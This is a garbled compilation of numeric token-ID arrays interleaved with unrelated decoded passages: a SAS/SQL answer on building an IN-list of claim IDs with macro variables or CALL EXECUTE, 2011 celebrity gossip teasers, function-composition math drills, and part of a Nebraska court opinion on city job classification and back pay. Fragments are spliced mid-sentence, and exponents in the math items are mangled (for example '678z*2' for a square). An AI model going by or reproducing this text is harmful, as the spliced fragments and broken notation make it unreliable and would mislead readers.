69, 10, 426, 3127, 11, 69, 424, 19, 15, 1281, 305, 9, 83, 10, 426, 608, 11, 83, 559, 19092, 1012, 15, 1737, 310, 305, 9, 76, 9, 90, 17851, 187, 10655, 11, 90, 424, 19, 559, 19092, 1012, 187, 1466, 256, 9, 82, 10, 426, 428, 23, 11, 82, 424, 19, 559, 818, 11, 82, 15, 1281, 247, 9, 77, 10, 426, 721, 11, 77, 424, 19, 428, 818, 11, 77, 428, 818, 15, 1281, 260, 320, 337, 14361, 23, 559, 470, 559, 1903, 481, 1281, 246, 9, 89, 10, 426, 428, 21, 11, 89, 424, 19, 559, 608, 11, 89, 559, 608, 15, 1281, 340, 9, 79, 10, 426, 260, 11, 66, 9, 79, 10, 559, 818, 11, 85, 9, 79, 481, 1737, 310, 340, 9, 84, 9, 72, 17851, 187, 3547, 11, 72, 424, 21, 428, 21748, 11, 72, 424, 20, 559, 10508, 11, 72, 424, 19, 187, 1466, 465, 9, 78, 10, 426, 428, 805, 3763, 11, 78, 559, 374, 11, 78, 424, 19, 559, 721, 11, 78, 424, 19, 428, 577, 11, 78, 424, 19, 559, 1249, 3763, 11, 78, 15, 1281, 305, 9, 75, 10, 426, 428, 20, 11, 75, 428, 2030, 15, 6762, 305, 9, 76, 9, 67, 5029, 187, 14, 805, 11, 67, 424, 19, 428, 2030, 187, 1466, 288, 9, 89, 10, 426, 1638, 3357, 11, 89, 15, 1281, 2805, 9, 78, 10, 426, 428, 2251, 1099, 11, 78, 424, 19, 559, 854, 15, 6762, 288, 9, 82, 9, 84, 5029, 187, 14, 26, 2357, 1047, 1099, 11, 84, 424, 19, 559, 12472, 1348, 187, 1466, 269, 9, 73, 10, 320, 253, 2626, 4309, 273, 428, 73, 424, 22, 16, 938, 428, 374, 11, 73, 424, 19, 428, 41156, 15, 1281, 295, 9, 86, 10, 426, 428, 3680, 11, 86, 424, 19, 559, 495, 15, 6762, 269, 9, 79, 9, 83, 5029, 187, 14, 2313, 4529, 11, 83, 424, 21, 559, 884, 2031, 11, 83, 424, 19, 428, 3435, 187, 1466, 305, 9, 82, 10, 426, 11858, 21, 11, 82, 424, 19, 428, 8688, 11, 82, 559, 8688, 15, 1281, 246, 9, 84, 10, 426, 3285, 11, 84, 424, 19, 428, 374, 11, 84, 559, 374, 15, 1281, 260, 9, 67, 10, 426, 374, 11, 72, 9, 67, 10, 428, 8688, 11, 85, 9, 67, 481, 1281, 298, 9, 81, 10, 426, 721, 11, 81, 15, 11374, 260, 9, 77, 9, 66, 5029, 187, 14, 1423, 2358, 11, 66, 424, 19, 187, 1466, 277, 9, 73, 10, 426, 428, 73, 15, 1281, 256, 9, 68, 10, 426, 495, 11, 68, 424, 19, 428, 36477, 11, 68, 559, 12708, 15, 1737, 310, 256, 9, 69, 9, 77, 17851, 187, 20, 11, 77, 424, 19, 559, 36477, 11, 77, 559, 12708, 187, 1466, 1484, 9, 87, 10, 426, 428, 20298, 11, 87, 15, 1281, 295, 9, 75, 10, 426, 11140, 21, 11, 75, 15, 1281, 288, 9, 84, 10, 426, 721, 11, 79, 9, 84, 10, 559, 3495, 11, 86, 9, 84, 481, 1281, 270, 9, 78, 10, 426, 428, 19, 12172, 11, 78, 15, 1737, 310, 288, 9, 67, 9, 80, 17851, 187, 14, 23, 22000, 11, 80, 187, 1466, 246, 9, 73, 10, 426, 374, 11, 73, 424, 19, 15, 1281, 465, 9, 90, 10, 426, 13278, 11, 90, 424, 19, 428, 11084, 428, 26402, 11, 90, 424, 19, 559, 14034, 11, 90, 424, 19, 559, 5693, 559, 12197, 11, 90, 424, 19, 15, 1737, 310, 246, 9, 76, 9, 80, 17851, 187, 21340, 11, 80, 424, 21, 428, 6931, 1812, 11, 80, 424, 19, 559, 13900, 2385, 187, 1466, 480, 9, 66, 10, 320, 253, 806, 4309, 273, 428, 20, 11, 66, 424, 19, 16, 19, 559, 20048, 15, 1281, 465, 9, 78, 10, 426, 428, 1731, 559, 1722, 428, 1638, 11, 78, 559, 898, 15, 7918, 465, 9, 75, 9, 71, 5029, 187, 2945, 11, 71, 187, 1466, 256, 9, 91, 10, 426, 374, 11, 91, 424, 19, 15, 1281, 246, 9, 76, 10, 426, 428, 3571, 559, 25905, 1797, 11, 76, 424, 19, 428, 10447, 428, 374, 11, 76, 559, 884, 428, 25905, 740, 11, 76, 424, 19, 15, 11374, 246, 9, 84, 9, 74, 5029, 187, 2031, 11, 74, 424, 21 ]	a.DXCODE FROM DW.CLAIMS_BAV AS a WHERE a.SITEID = '0001' AND a.CLAIMID IN (&claimlist.) ; quit; Tada, you don't have to touch this anymore, and it's identical to the copy/paste that you did. A few extra notes given some comments: If CLAIMID is ever less than 15, you may have space padding, so I added strip to remove those. It doesn't matter for string comparisons - except insomuch as you might run out of macro language, and I worry that some DBMS may actually care about the padding. You can leave out strip if the 15 is a constant length. Macro variables run up to 64K in space. If you have 15 character variable plus " " two plus comma one, you have 18 characters; you have room for a bit over 3500 values. That's under 5000, unfortunately. In this case, you can either split up the field into two macro variables (easy enough hopefully, use obs and firstobs) or you can do some other solution. Transfer the work.input dataset into the DW libname, then do the join in SQL there. Put the contents of the claimID into a file instead of into a macro variable, and then %include that file. Use call execute to execute the whole proc SQL. Here's one example of CALL EXECUTE. data _null_; set work.input end=eof; if _n_=1 then do; call execute('CREATE TABLE WORK.OUTPUT AS SELECT "CLAIM" AS SOURCE, a.CLAIMID, a.DXCODE FROM DW.CLAIMS_BAV AS a WHERE a.SITEID = "0001" AND a.CLAIMID IN ('); the part of the SQL query before the list of IDs; end; call execute(quote(claimID) \|\|''); if EOF then do; call execute('); QUIT;'); the part of the SQL query after the list of IDs; end; run; This would be nearly identical to the %INCLUDE solution really, except there you put that stuff to a text file instead of CALL EXECUTEing it, and then you %INCLUDE that text file. A: I think you're working both with local data and data on your server. When SAS is working with data from different sources (databases) it brings it all into SAS for processing which can be really, really slow. Instead, you can make a macro variable and use that within your query. If it's 5000, it should fit into one macro variable, assuming the length is less than 13 chars each. A macro variable size limit is 64K characters, so it depends on the length of the variable. If not you could create a macro instead. proc sql noprint; select quote(claimID, "'") into : claim_list separated by ", " from input; quit; proc sql; CREATE TABLE WORK.OUTPUT AS SELECT "CLAIM" AS SOURCE, a.CLAIMID, a.DXCODE FROM DW.CLAIMS_BAV AS a WHERE a.SITEID = '0001' AND a.CLAIMID IN (&claim_list.); quit; August 2011 I can’t help it. I have an obsessive compulsion with 51 year-old “actors” who marry teenagers! And folks, let me tell you, these two do not disappoint. Case in point: Courtney Stodden’s Twitter feed. Hide yo’ kids, hide yo’ wife, because this thing is steamy! What the heck is going on between Jada Pinkett Smith and Will Smith? Earlier in the week, seemingly out of nowhere, rumors of their marital troubles surfaced and spread rapidly. The two denied that they were separating, divorcing, or anything less than perfectly happy in their marriage. But alas, the plot thickens. People stopped working! They compared their experiences! Everyone called home to compare more experiences! People frantically texted "OMG did you feel that?!," Twitter blew up, and productivity effectively ceased for the whole of the East Coast. There's an interesting trend emerging in Hollywood that I'm going to dub the "relationship upgrade." It occurs when a little-known actor/dancer/C-lister in a long-term, seemingly solid relationship drops his non-famous partner for a mega-famous star. Are they upgrading, or rebounding? What troubles me about Michelle Bachmann isn't that she wants to be submissive to her husband while he serves as head of their household; it's that she voices that opinion at all. It's one thing to believe something internally. It's another to, as a politician, purposefully share that opinion with the masses. As if it isn't hard enough to tell friends what you really think of their wardrobe bomb, imagine the frustration of constantly being forced to say, "Honey, I'm just not sure that bubble/latex condom hat/bird's nest/meat dress/egg capsule/mysterious horn-like growth is really your thing." You've probably heard some variation on the old expression, "Every relationship fails until one doesn't." Charming, no? This notion has got me thinking about a particularly loved Hollywood darling who can't seem to escape the stigma of failed relationships: Jennifer Aniston.v) = 3v. Let m(p) = p2 - 17p + 1865. What is s(m(i))? 3i2 - 51i + 5595 Let r(c) = -2c2. Let w(z) = 678z*2 - 84. Give w(r(x)). 2712x*4 - 84 Let c(h) = 8h - h + 107 - 258 + 144. Let b(y) = -2y. Calculate c(b(m)). -14m - 7 Let k(d) = 21d2. Let g(r) = 5r + 14513. What is g(k(y))? 105y2 + 14513 Let s(q) = -6q*2 + 7q. Let a(l) = 6l2 - 7l - 7. Let c be 1(-6 + 0 + 11). Let t(x) = -4x*2 + 5x + 5. Let y(n) = ca(n) + 7t(n). What is y(s(g))? 72g4 - 168g*3 + 98g*2 Let k(m) = -1262m + 2m2 + 6m*2 - 4m*2 + 1262m. Let g(j) = -3j - 25. Calculate g(k(b)). -12b*2 - 25 Let h(x) = 1453x. Let q(m) = -6725m2 + 8. Calculate h(q(s)). -9771425s2 + 11624 Let f(h) be the third derivative of -h5/20 - 2h2 - 544. Let n(u) = -58u*2 + 3. Calculate f(n(r)). -10092r*4 + 1044r*2 - 27 Let g(q) = 1404q*2 - 99q + 99. Let t(s) = 29s2 - 2s + 2. Let c(b) = 2g(b) - 99t(b). Let l(p) = 6p. Determine c(l(a)). -2268a*2 Let d(h) = -h. Let s(c) = 3c*2 - 406c + 106. What is s(d(l))? 3l2 + 406l + 106 Let u(v) = -327v. Let n(j) = 1254j. Let h(s) = 6n(s) + 23u(s). Let b(m) = -2103m. What is h(b(o))? -6309o Let t(h) = 2h2. Let k(y) = 108y*2 - 130 - 305y*2 + 107y*2 + 48 + 102y*2. What is t(k(o))? 288o*4 - 3936o*2 + 13448 Let j(a) be the first derivative of -3a*2/2 + 210. Let k(m) = -26 + 17 - 14m + 9. Give k(j(f)). 42f Let s(z) = 2z*2. Let t(k) = -63 + 26521k*2 - 69 - 2k + 10 - 26510k2. Determine t(s(i)). 44i**4
[ 42301, 6171, 275, 3045, 273, 12803, 13, 285, 25091, 33170, 6500, 8706, 15, 380, 12280, 39, 309, 9162, 5740, 858, 417, 2085, 323, 6265, 281, 23070, 32873, 2250, 1411, 42301, 6171, 13, 281, 13249, 6493, 342, 643, 9363, 22387, 13, 390, 281, 13791, 342, 253, 1345, 5001, 14672, 390, 9762, 323, 2579, 15, 187, 510, 12280, 39, 3719, 9162, 369, 2529, 347, 346, 3319, 2591, 285, 2221, 24236, 789, 347, 2273, 1342, 275, 4179, 273, 4583, 3576, 4254, 475, 10683, 273, 247, 3228, 9509, 390, 7922, 2170, 449, 380, 2628, 5740, 323, 253, 12280, 39, 3719, 9162, 2007, 4767, 326, 5749, 88, 62, 1064, 8687, 8294, 323, 35220, 2182, 42301, 11570, 9583, 275, 2087, 12803, 275, 253, 13205, 2170, 449, 36944, 273, 253, 12280, 39, 3719, 9162, 2908, 25859, 285, 16344, 6171, 13, 46705, 32873, 2250, 1411, 6171, 13, 45415, 789, 6493, 342, 643, 9363, 22387, 13, 285, 26728, 342, 253, 1345, 5001, 14672, 390, 9762, 323, 2579, 15, 187, 3404, 2332, 13, 43230, 7859, 326, 344, 574, 644, 7091, 342, 253, 7137, 9363, 9025, 273, 253, 3228, 347, 247, 12280, 39, 309, 13, 8523, 2444, 275, 253, 37984, 46547, 2593, 5068, 275, 4397, 7901, 15, 14702, 472, 7859, 326, 344, 574, 644, 7091, 342, 253, 7137, 9363, 9025, 273, 253, 3228, 347, 247, 12280, 39, 309, 13, 8523, 2444, 275, 253, 12102, 21623, 2593, 5068, 275, 11513, 15, 6004, 5632, 369, 671, 519, 23747, 326, 275, 2393, 9354, 13, 8341, 17609, 6887, 13, 342, 14702, 472, 3192, 689, 253, 1899, 347, 247, 12280, 39, 309, 275, 253, 37984, 46547, 2593, 285, 43230, 3192, 689, 253, 1899, 347, 247, 12280, 39, 309, 275, 253, 12102, 17249, 2593, 15, 2058, 512, 4623, 2069, 13, 8341, 497, 10509, 387, 253, 12280, 39, 309, 1268, 13, 10159, 273, 1880, 597, 497, 342, 253, 12102, 21623, 2593, 390, 253, 37984, 46547, 2593, 15, 187, 36645, 7859, 326, 253, 12803, 597, 2684, 1223, 7091, 275, 1097, 253, 37984, 46547, 2593, 285, 253, 12102, 21623, 2593, 2908, 25859, 285, 16344, 6171, 13, 46705, 32873, 2250, 1411, 6171, 13, 45415, 789, 6493, 342, 643, 9363, 22387, 13, 285, 26728, 342, 253, 1345, 5001, 14672, 390, 9762, 323, 2579, 15, 12601, 2007, 7859, 326, 6498, 6500, 285, 15299, 275, 253, 4588, 3520, 789, 2684, 407, 616, 10402, 369, 417, 247, 3963, 629, 273, 253, 12803, 597, 2684, 13, 533, 326, 597, 858, 10078, 275, 824, 3470, 275, 8945, 9534, 672, 627, 369, 247, 28938, 275, 11570, 1955, 281, 5809, 569, 390, 9749, 15, 187, 45840, 418, 335, 319, 13, 8341, 8, 8993, 26141, 13, 7859, 326, 12125, 271, 8945, 4112, 13, 6747, 3482, 11658, 6500, 672, 34735, 42301, 6171, 275, 3045, 273, 7922, 12803, 15, 418, 335, 319, 5821, 326, 8341, 574, 644, 9591, 12803, 2529, 760, 762, 253, 12280, 39, 3719, 9162, 15, 187, 36645, 1925, 18975, 418, 15, 1535, 483, 1342, 347, 271, 6485, 5517, 15, 1535, 483, 1342, 21186, 247, 1966, 5300, 25021, 5882, 534, 46259, 275, 5277, 11570, 3238, 281, 8238, 285, 21813, 13, 1690, 253, 2440, 273, 2628, 20121, 15, 13036, 281, 4983, 521, 1211, 2136, 13, 1535, 483, 1342, 12431, 247, 37589, 273, 14635, 4248, 275, 15750, 285, 17096, 369, 7091, 342, 253, 3228, 275, 253, 11570, 7811, 323, 247, 2180, 273, 1249, 1107, 15, 3032, 8410, 342, 253, 3228, 2908, 9417, 347, 11570, 19616, 432, 15750, 281, 15788, 13, 10963, 7205, 432, 15788, 281, 14304, 13, 11570, 6423, 432, 14304, 281, 13563, 13, 285, 5299, 2493, 6423, 432, 13563, 281, 12459, 15, 6408, 521, 28135, 342, 253, 3228, 13, 1535, 483, 1342, 369, 3206, 275, 34318, 253, 2628, 20121, 323, 253, 12280, 39, 309, 285, 12280, 39, 3719, 43394, 15, 496, 512, 13, 1535, 483, 1342, 574, 3435, 1107, 273, 2793, 275, 253, 2170, 273, 11570, 13, 10963, 13, 285, 2440, 273, 2628, 20121, 15, 187, 2290, 483, 1342, 9814, 253, 12280, 39, 309, 285, 12280, 39, 3719, 2628, 20121, 285, 253, 9725, 2628, 2175, 2684, 407, 253, 3228, 15, 754, 5196, 3367, 12888, 342, 8341, 285, 418, 335, 319, 285, 18029, 281, 253, 6206, 519, 23747, 275, 1302, 432, 8341, 285, 418, 335, 319, 15, 10635, 327, 436, 1491, 13, 1535, 483, 1342, 7859, 326, 275, 521, 4743, 13, 8341, 497, 9591, 253, 12803, 273, 253, 12280, 39, 3719, 9162, 15, 1535, 483, 1342, 14969, 326, 627, 369, 690, 14787, 875, 253, 12803, 475, 13397, 273, 253, 12280, 39, 309, 285, 12280, 39, 3719, 43394, 15, 1723, 13, 1535, 483, 1342, 7859, 326, 8341, 497, 417, 11719, 15299, 275, 253, 4712, 2684, 407, 616, 32173, 13, 534, 310, 247, 1159, 273, 253, 12280, 39, 309, 9162, 533, 417, 273, 253, 12280, 39, 3719, 9162, 15, 1535, 483, 1342, 2007, 4767, 326, 8341, 497, 9591, 1142, 273, 253, 3470, 2529, 760, 275, 253, 12280, 39, 3719, 9162, 13, 534, 2424, 731, 281, 5763, 247, 2169, 1268, 273, 3907, 3883, 13, 824, 347, 46705, 32873, 2250, 13, 45415, 6493, 342, 643, 22387, 13, 285, 26728, 342, 253, 1345, 5001, 14672, 15, 1198, 841, 4606, 13, 1535, 483, 1342, 6566, 8341, 497, 9591, 253, 12803, 273, 253, 12280, 39, 3719, 9162, 15, 187, 510, 3228, 1925, 767, 6485, 12170, 13, 40152, 322, 306, 87, 324, 13, 10963, 7205, 323, 253, 3228, 13, 285, 6911, 418, 15, 26118, 39480, 13, 6951, 273, 253, 4323, 7811, 273, 253, 6822, 273, 10518, 13500, 387, 253, 2499, 273, 20176, 387, 50180, 15, 322, 306, 87, 324, 2918, 247, 37589, 434, 4248, 275, 2136, 5286, 342, 271, 15075, 275, 1966, 7741, 4323, 285, 574, 1249, 1107, 8, 2793, 275, 253, 3672, 273, 2628, 9162, 285, 7103, 15, 26118, 39480, 574, 247, 37589, 434, 4248, 275, 20162, 13, 247, 6303, 434, 4248, 275, 9787, 20162, 13, 247, 7345, 366, 275, 2136, 5286, 13, 285, 247, 1569, 4248, 15, 26118, 39480, 574, 33444, 275, 253, 2170, 273, 2628, 1783, 285, 7103, 323, 2030, 1107, 15, 187, 15545, 327, 616, 10123, 273, 253, 12280, 39, 309, 285, 12280, 39, 3719, 2628, 20121, 13, 253, 9725, 2628, 2175, 2684, 407, 253, 3228, 13, 285, 6206, 519, 23747, 387, 2332, 13, 1097, 322, 306, 87, 324, 285, 26118, 39480, 7859, 326, 8341, 497, 9591, 253, 12803, 273, 253, 12280, 39, 309, 9162, 15, 322, 306, 87, 324, 1121, 967, 326, 8341, 497, 417, 2444, 3345, 253, 12280, 39, 309, 9162, 984, 597, 497, 9591, 253, 3470, 7117, 327, 253, 2628, 5740, 323, 253, 12280, 39, 309, 9162, 15, 1723, 13, 322, 306, 87, 324, 14969, 326, 627, 369, 690, 14787, 875, 253, 12803, 273, 253, 12280, 39, 309, 285, 12280, 39, 3719, 43394, 15, 26118, 39480, 7859, 326, 984, 8341, 497, 8785, 562, 1097, 346, 12185, 24236, 3, 285, 346, 79, 790, 29974, 24236, 3, 4712, 285, 497, 15299, 275, 690, 273, 253, 1072, 4712, 347, 616, 42272, 8475, 13, 597, 497, 6283, 966, 264, 387, 253, 12280, 39, 309, 1268, 15, 187, 2374, 2831, 14, 27181, 13, 26118, 39480, 7859, 326, 627, 497, 2176, 3672, 273, 28931, 275, 253, 12280, 39, 309, 285, 12280, 39, 3719, 2628, 20121, 13, 6108, 731, 1527, 281, 625, 685, 581, 7914, 15, 26118, 39480, 2007, 14969, 326, 344, 574, 20981, 432, 1569, 2143, 285, 369, 6600, 273, 247, 4320, 13989, 326, 672, 247, 3389, 556, 271, 28931, 285, 310, 16931, 281, 625, 685, 581, 7914, 13, 253, 8208, 273, 253, 6536, 699, 310, 4623, 15, 380, 3228, 27511, 281, 436, 6206, 347, 417, 1561, 253, 6485, 434, 2170, 273, 15040, 285, 4457, 253, 7990, 273, 1480, 8368, 15, 380, 14926, 369, 34310, 15, 26118, 39480, 2007, 7859, 13, 689, 14926, 13, 326, 1535, 483, 1342, 369, 253, 6536, 699, 273, 253, 2628, 20121, 285, 326, 275, 43073, 875, 253, 12280, 39, 309, 285, 13528, 46, 3719, 43394, 13, 1535, 483, 1342, 434, 6860, 369, 5749, 79, 62, 302, 10938, 13, 533, 4623, 449, 187, 1909, 247, 906, 273, 436, 2332, 13, 253, 2332, 1302, 5966, 7367, 10568, 253, 3228, 281, 294, 2437, 1419, 8341, 762, 253, 12280, 39, 3719, 9162, 13, 1659, 8341, 327, 253, 4569, 2075, 4311, 323, 326, 9162, 13, 2395, 323, 253, 17575, 3663, 1955, 281, 253, 14697, 9162, 13, 285, 2075, 8341, 1110, 17575, 323, 253, 2180, 5068, 5080, 3285, 13, 9725, 13, 285, 1919, 824, 673, 347, 253, 3228, 294, 39651, 8341, 762, 253, 12280, 39, 3719, 9162, 15, 380, 1302, 671, 11941, 6834, 8128, 281, 8341, 10376, 281, 253, 20176, 411, 486, 42659, 285, 17078, 3162, 15, 380, 3228, 434, 14462, 323, 747, 2332, 497, 5868, 13, 285, 247, 14793, 4549, 3560, 15, 12601, 840, 4724, 247, 5266, 281, 18210, 13, 534, 436, 1302, 7169, 15, 535, 187, 11, 9312, 21893, 13003, 39307, 3481, 33246, 187, 510, 3228, 12148, 13, 1551, 456, 13, 326, 253, 2332, 1302, 14416, 275, 313, 18, 10, 5877, 247, 2332, 372, 17590, 327, 8341, 8, 3916, 2581, 685, 34617, 697, 2278, 281, 253, 1924, 3562, 1078, 253, 2846, 12265, 28, 313, 19, 10, 27382, 285, 7296, 253, 6206, 273, 8341, 8, 6485, 5517, 28, 313, 20, 10, 27382, 285, 7296, 2176, 2831, 14, 27181, 6206, 432, 253, 3228, 434, 6485, 5517, 28, 313, 21, 10, 8925, 326, 271, 15890, 285, 7830, 943, 320, 1160, 281, 8341, 323, 253, 673, 2180, 5068, 5080, 3285, 13, 9725, 13, 285, 1919, 824, 673, 347, 8341, 497, 294, 39651, 762, 253, 12280, 39, 3719, 9162, 13, 347, 824, 4723, 5722, 346, 4238, 1677, 762, 253, 4833, 273, 9908, 285, 16, 263, 14751, 3664, 313, 22, 10, 15824, 253, 3228, 281, 2075, 8341, 8, 6834, 8128, 10376, 281, 253, 20176, 411, 486, 42659, 285, 17078, 3162, 28, 313, 23, 10, 38933, 8341, 8, 3200, 323, 747, 2332, 285, 5877, 253, 747, 2332, 1293, 4933, 253, 3228, 10599, 673, 281, 10347, 28, 285, 313, 24, 10, 21455, 281, 761, 2327, 3139, 15, 380, 15515, 285, 20117, 23768, 273, 2228, 403, 417, 9125, 275, 253, 3228, 434, 4864, 15, 9717, 641, 326, 403, 7922, 533, 417, 9125, 588, 417, 320, 9713, 407, 271, 16939, 1302, 15, 2418, 385, 774, 15, 6640, 6327, 362, 15, 46644, 13, 22943, 268, 15, 17558, 13, 32858, 23774, 15, 17558, 13, 721, 1423, 427, 15, 56, 15, 19, 69, 721, 1237, 313, 8971, 481, 3813, 13, 253, 15515, 285, 20117, 23768, 273, 2228, 588, 417, 320, 9713, 15, 187, 187, 48643, 10449, 3481, 5689, 31305, 187, 1992, 253, 6070, 271, 4549, 5841, 323, 11315, 7914, 390, 10262, 3533, 273, 1569, 13, 271, 16939, 1302, 1364, 3986, 271, 3907, 6452, 30472, 273, 253, 7441, 1160, 407, 253, 1302, 2708, 15, 29040, 362, 15, 3928, 273, 28345, 13, 22943, 268, 15, 49921, 13, 32858, 23774, 15, 49921, 13, 50059, 427, 15, 56, 15, 19, 69, 46771, 313, 8971, 481, 187, 34, 2332, 1302, 434, 10362, 275, 6883, 390, 22914, 271, 6485, 434, 6206, 534, 310, 5010, 4623, 588, 320, 13891, 760, 672, 627, 556, 644, 271, 7242, 273, 8637, 15, 41835, 362, 15, 39921, 4386, 296, 6853, 84, 708, 443, 1362, 904, 31605, 23774, 15, 721, 3079, 13, 46436, 427, 15, 56, 15, 19, 69, 818, 3507, 313, 6914, 481, 187, 510, 2408, 273, 8540, 281, 320, 11941, 310, 247, 7441, 12718, 323, 253, 958, 47135, 13, 285, 697, 2250, 275, 436, 1675, 588, 417, 320, 24714, 327, 4549, 604, 352, 310, 4516, 407, 253, 1941, 285, 17267, 247, 5272, 2954, 281, 253, 3603, 273, 253, 8540, 8058, 15, 5490, 251, 362, 15, 41640, 47393, 9537, 904, 22146, 23774, 15, 40625, 13, 49629, 427, 15, 56, 15, 19, 69, 721, 1787, 313, 6914, 481, 187, 187, 34, 21686, 6328, 1830, 187, 187, 3125, 13859, 6202, 427, 4741, 48, 187, 510, 3228, 3916, 253, 3286, 1302, 14416, 275, 5877, 247, 2332, 372, 17590, 327, 8341, 8, 3916, 2581, 685, 9433, 253, 2629, 273, 2278, 7763, 281, 10061, 275, 2228, 15, 187, 36645, 4724, 616, 3916, 1411, 253, 3228, 10376, 281, 285, 275, 10276, 342, 3015, 1638, 14, 28927, 15, 380, 12108, 273, 247, 1750, 10376, 281, 3015, 1638, 14, 28927, 310, 247, 19993, 38445, 281, 253, 14079, 273, 247, 16610, 1750, 1411, 247, 2846, 275, 253, 3286, 1302, 15, 16647, 362, 15, 3228, 273, 50180, 13, 23540, 23774, 15, 38290, 13, 34892, 427, 15, 56, 15, 19, 69, 43139, 313, 13435, 481, 187, 40417, 432, 247, 13336, 273, 247, 1750, 4724, 10376, 281, 3015, 1638, 14, 28927, 310, 2530, 407, 3015, 1638, 14, 49891, 15, 831, 2593, 3400, 275 ]	subordinate employees in performance of duties, and directing automotive equipment repair. The CMF I classification description did not provide for authority to initiate disciplinary action against subordinate employees, to coordinate projects with other maintenance divisions, or to communicate with the public regarding complaints or requests for service. The CMF II classification was described as "skilled and supervisory work as foreman in charge of overall effective operation 123 of a City facility or assigned area." The job description for the CMF II classification further stated that "[w]ork involves responsibility for supervising subordinate personnel engaged in general duties in the designated area." Functions of the CMF II classification included counseling and evaluating employees, recommending disciplinary action against employees, coordinating work projects with other maintenance divisions, and communicating with the public regarding complaints or requests for service. At trial, Hawkins testified that he had been employed with the traffic maintenance division of the City as a CMF I, initially working in the pavement markings section beginning in September 1990. Ballard testified that he had been employed with the traffic maintenance division of the City as a CMF I, initially working in the parking meter section beginning in 1988. Testimony was also adduced that in early 1994, plaintiffs switched positions, with Ballard taking over the position as a CMF I in the pavement markings section and Hawkins taking over the position as a CMF I in the parking meters section. At all relevant times, plaintiffs were classified at the CMF I level, regardless of whether they were with the parking meter section or the pavement markings section. Plaintiffs testified that the duties they performed while employed in both the pavement markings section and the parking meter section included counseling and evaluating employees, recommending disciplinary action against employees, coordinating work projects with other maintenance divisions, and communicating with the public regarding complaints or requests for service. Plaintiffs further testified that operating equipment and participating in the actual physical work performed by their crew was not a regular part of the duties they performed, but that they did participate in such functions in emergency situations when there was a shortage in personnel due to vacations or illness. Patrick Lulow, plaintiffs' immediate supervisor, testified that absent an emergency situation, neither plaintiff operated equipment when assisting subordinate employees in performance of assigned duties. Lulow agreed that plaintiffs had been performing duties described only under the CMF II classification. Plaintiffs called Gary L. Troutman as an expert witness. Troutman owns a human resources consulting firm which specializes in providing personnel services to cities and counties, including the development of job descriptions. Prior to starting his own business, Troutman earned a bachelor of arts degree in 1972 and thereafter was employed with the City in the personnel department for a period of 12 years. His employment with the City included serving as personnel specialist from 1972 to 1974, compensation manager from 1974 to 1978, personnel director from 1978 to 1982, and labor relations director from 1982 to 1984. During his tenure with the City, Troutman was involved in drafting the job descriptions for the CMF I and CMF II classifications. In all, Troutman had 27 years of experience in the area of personnel, compensation, and development of job descriptions. Troutman reviewed the CMF I and CMF II job descriptions and the 1993 job studies performed by the City. He conducted personal interviews with plaintiffs and Lulow and listened to the testimony adduced in court from plaintiffs and Lulow. Based on this information, Troutman testified that in his opinion, plaintiffs were performing the duties of the CMF II classification. Troutman acknowledged that there was some overlap between the duties 124 of the CMF I and CMF II classifications. However, Troutman testified that plaintiffs were not regularly participating in the activities performed by their crews, which is a function of the CMF I classification but not of the CMF II classification. Troutman further stated that plaintiffs were performing many of the functions described only in the CMF II classification, which required them to exercise a higher level of independent judgment, such as recommending disciplinary action, coordinating projects with other divisions, and communicating with the public regarding complaints. For these reasons, Troutman believed plaintiffs were performing the duties of the CMF II classification. The City called two expert witnesses, Tracy Svevad, compensation manager for the City, and Robert L. Ottemann, chair of the management department of the College of Business Administration at the University of Nebraska at Omaha. Svevad held a bachelor's degree in business administration with an emphasis in human resource management and had 12 years' experience in the areas of job classification and evaluation. Ottemann had a bachelor's degree in psychology, a master's degree in industrial psychology, a doctorate in business administration, and a law degree. Ottemann had consulted in the area of job analysis and evaluation for 25 years. Based on their reviews of the CMF I and CMF II job descriptions, the 1993 job studies performed by the City, and testimony adduced at trial, both Svevad and Ottemann testified that plaintiffs were performing the duties of the CMF I classification. Svevad opined that plaintiffs were not working outside the CMF I classification because they were performing the functions listed on the job description for the CMF I classification. However, Svevad acknowledged that there was some overlap between the duties of the CMF I and CMF II classifications. Ottemann testified that because plaintiffs were carrying out both "supervisory" and "nonsupervisory" activities and were participating in some of the same activities as their subordinates, they were properly classed at the CMF I level. On cross-examination, Ottemann testified that there were certain areas of ambiguity in the CMF I and CMF II job descriptions, leaving them open to more than one interpretation. Ottemann further acknowledged that he had graduated from law school and was aware of a legal proposition that when a document has an ambiguity and is susceptible to more than one interpretation, the intention of the drafter is relevant. The City objected to this testimony as not within the expert's area of expertise and beyond the scope of direct examination. The objection was overruled. Ottemann further testified, over objection, that Troutman was the drafter of the job descriptions and that in differentiating between the CMF I and CFM II classifications, Troutman's intent was "[n]ot controlling, but relevant." As a result of this trial, the trial court entered orders requiring the City to reclassify plaintiffs under the CMF II classification, place plaintiffs on the appropriate pay scale for that classification, account for the wages lost due to the improper classification, and pay plaintiffs those wages for the period beginning February 29, 1993, and until such time as the City reclassified plaintiffs under the CMF II classification. The court also awarded attorney fees to plaintiffs pursuant to the Nebraska Wage Payment and Collection Act. The City's motions for new trial were denied, and a timely appeal followed. Plaintiffs then filed a petition to bypass, which this court granted. *125 ASSIGNMENTS OF ERROR The City contends, restated, that the trial court erred in (1) holding a trial de novo on plaintiffs' claims rather than restricting its review to the record created before the city council; (2) permitting and considering the testimony of plaintiffs' expert witness; (3) permitting and considering certain cross-examination testimony from the City's expert witness; (4) determining that an accounting and payment should be made to plaintiffs for the time period beginning February 29, 1993, and until such time as plaintiffs were reclassified under the CMF II classification, as such damage award "was given under the influence of passion and/or prejudice"; (5) ordering the City to pay plaintiffs' attorney fees pursuant to the Nebraska Wage Payment and Collection Act; (6) sustaining plaintiffs' motion for new trial and holding the new trial without giving the City adequate time to prepare; and (7) refusing to recuse itself. The sixth and seventh assignments of error are not argued in the City's brief. Errors that are assigned but not argued will not be addressed by an appellate court. State ex rel. NSBA v. Flores, ante p. 256, 261 Neb. 256, 622 N.W.2d 632 (2001). Therefore, the sixth and seventh assignments of error will not be addressed. STANDARD OF REVIEW To the extent an appeal calls for statutory interpretation or presents questions of law, an appellate court must reach an independent conclusion irrespective of the determination made by the court below. Brandon v. County of Richardson, ante p. 636, 261 Neb. 636, 624 N.W.2d 604 (2001). A trial court's ruling in receiving or excluding an expert's testimony which is otherwise relevant will be reversed only when there has been an abuse of discretion. Snyder v. Contemporary Obstetrics & Gyn., 258 Neb. 643, 605 N.W.2d 782 (2000). The amount of damages to be awarded is a determination solely for the fact finder, and its action in this respect will not be disturbed on appeal if it is supported by the evidence and bears a reasonable relationship to the elements of the damages proved. Jameson v. Liquid Controls Corp., 260 Neb. 489, 618 